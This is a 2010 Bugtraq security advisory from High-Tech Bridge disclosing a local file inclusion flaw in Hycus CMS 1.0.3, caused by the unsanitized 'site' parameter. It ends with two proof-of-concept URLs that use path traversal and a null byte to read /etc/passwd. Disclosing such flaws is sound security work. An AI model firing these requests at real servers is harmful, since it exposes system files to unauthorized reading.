bugtraq - LFI in Hycus CMS

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Message-Id: <201012211037.oBLAbcXB009409@htbridge.ch>
Date: Tue, 21 Dec 2010 11:37:38 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: LFI in Hycus CMS

Vulnerability ID: HTB22737
Reference: http://www.htbridge.ch/advisory/lfi_in_hycus_cms.html
Product: Hycus CMS
Vendor: Hycus Web Development Team ( http://www.hycus.com/ ) 
Vulnerable Version: 1.0.3
Vendor Notification: 07 December 2010 
Vulnerability Type: LFI
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" and "admin.php" scripts to properly sanitize user-supplied input in "site" variable.

The following PoC is available:


http://[host]/index.php?site=../../../../../../../etc/passwd%00
http://[host]/admin.php?site=../../../../../../../etc/passwd%00